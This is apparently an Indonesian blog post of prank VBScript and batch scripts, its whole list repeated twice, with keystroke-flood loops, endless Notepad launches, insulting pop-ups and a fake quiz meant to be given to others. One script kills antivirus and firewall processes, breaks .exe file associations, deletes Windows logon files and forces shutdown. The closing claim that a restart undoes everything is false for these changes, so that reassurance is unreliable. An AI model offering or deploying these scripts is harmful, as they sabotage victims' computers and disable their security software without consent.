BIKIN VB SCRIPT
NONGOL TERUS MENERUS SECARA OTOMATIS :
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.vbs
MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS :
MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
==> save nama script diatas dg ekstensi *.vbs
OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD :
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek
banget sih!!!"
loop
==> save nama script diatas dg ekstensi *.vbs
MEMBUKA NOTEPAD TERUS MENERUS :
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> save nama script diatas dg ekstensi *.BAT
OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU" :
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "
==> save nama script diatas dg ekstensi *.vbs
BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2 :
@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...
POKOKNYA KALO YG INI DICOBA DULU DEH !! :
@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”
==> save script diatas dg ekstensi *.bat
KEYBOARD PROBLEM :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "sabotase keyboard, etc"
loop
==> save nama script diatas dg ekstensi *.bat
BACKSPACE PROBLEM :
MsgBox "empatujuhcode bilang : anda harus mengulang kembali"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
==> save nama script diatas dg ekstensi *.bat
ENTER AGAIN :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.bat
MAININ CAPSLOCK BUTTON :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
==> save nama script diatas dg ekstensi *.bat
VBS SCRIPT NONGOL TERUS :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.bat
KUIS MEMBAWA PETAKA :
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
==> save nama script diatas dg ekstensi *.bat
MESSAGE ALERT :
@ECHO off
:Begin
msg * Kenna Deh
msg * Huahahaha
msg * Install Ulang Aja
msg * Gak Mau Ya ?
msg * Terserah
msg * Mari Kita Bermain
msg * Nikmatilah hidup ini
msg * Jangan MENYERAH
msg * Jangan PANIK
msg * Jangan PUTUS ASA
msg * Jangan GROGI
msg * Huahahaha
msg * Saya tidak bermaksud JAHAT
msg * Hanya ISENG
msg * OKE lah Kalau begitu
msg * Perkenalkan SAYA
msg * EMPATUJUH CODE
msg * Kenal SAYA ?
msg * Gak kenal kan ?
msg * Makanya Rasakan ini
msg * Lain Kali Jangan KLIK SEMBARANG
msg * Gini aja
msg * Telepon Teman Kamu yg PINTAR
msg * Beresin Masalah ini
msg * Sebelum Terlambat
msg * OK
msg * Bye
msg * Love you Full
msg * *SENSOR*
msg * Babi
msg * upss KECEPLOSAN
msg * huahahaha
GOTO BEGIN
==> save nama script diatas dg ekstensi *.bat
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.vbs
MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS :
MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
==> save nama script diatas dg ekstensi *.vbs
OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD :
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek
banget sih!!!"
loop
==> save nama script diatas dg ekstensi *.vbs
MEMBUKA NOTEPAD TERUS MENERUS :
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> save nama script diatas dg ekstensi *.BAT
OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU" :
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "
==> save nama script diatas dg ekstensi *.vbs
BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2 :
@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...
POKOKNYA KALO YG INI DICOBA DULU DEH !! :
@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”
==> save script diatas dg ekstensi *.bat
KEYBOARD PROBLEM :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "sabotase keyboard, etc"
loop
==> save nama script diatas dg ekstensi *.bat
BACKSPACE PROBLEM :
MsgBox "empatujuhcode bilang : anda harus mengulang kembali"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
==> save nama script diatas dg ekstensi *.bat
ENTER AGAIN :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.bat
MAININ CAPSLOCK BUTTON :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
==> save nama script diatas dg ekstensi *.bat
VBS SCRIPT NONGOL TERUS :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.bat
KUIS MEMBAWA PETAKA :
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
==> save nama script diatas dg ekstensi *.bat
MESSAGE ALERT :
@ECHO off
:Begin
msg * Kenna Deh
msg * Huahahaha
msg * Install Ulang Aja
msg * Gak Mau Ya ?
msg * Terserah
msg * Mari Kita Bermain
msg * Nikmatilah hidup ini
msg * Jangan MENYERAH
msg * Jangan PANIK
msg * Jangan PUTUS ASA
msg * Jangan GROGI
msg * Huahahaha
msg * Saya tidak bermaksud JAHAT
msg * Hanya ISENG
msg * OKE lah Kalau begitu
msg * Perkenalkan SAYA
msg * EMPATUJUH CODE
msg * Kenal SAYA ?
msg * Gak kenal kan ?
msg * Makanya Rasakan ini
msg * Lain Kali Jangan KLIK SEMBARANG
msg * Gini aja
msg * Telepon Teman Kamu yg PINTAR
msg * Beresin Masalah ini
msg * Sebelum Terlambat
msg * OK
msg * Bye
msg * Love you Full
msg * *SENSOR*
msg * Babi
msg * upss KECEPLOSAN
msg * huahahaha
GOTO BEGIN
==> save nama script diatas dg ekstensi *.bat
PENTING !!!
Untuk menormalkan kembali kejahilan script2 di atas, sobat cukup masuk ke taks manager (ctrl+alt+del) dan kill proses script sesuai dengan nama script yg sobat simpan. atau dengan merestart PC sobat.
Script2 diatas bukan AutoRun, jadi setelah PC di restart, PC akan kembali normal. !!
Untuk menormalkan kembali kejahilan script2 di atas, sobat cukup masuk ke taks manager (ctrl+alt+del) dan kill proses script sesuai dengan nama script yg sobat simpan. atau dengan merestart PC sobat.
Script2 diatas bukan AutoRun, jadi setelah PC di restart, PC akan kembali normal. !!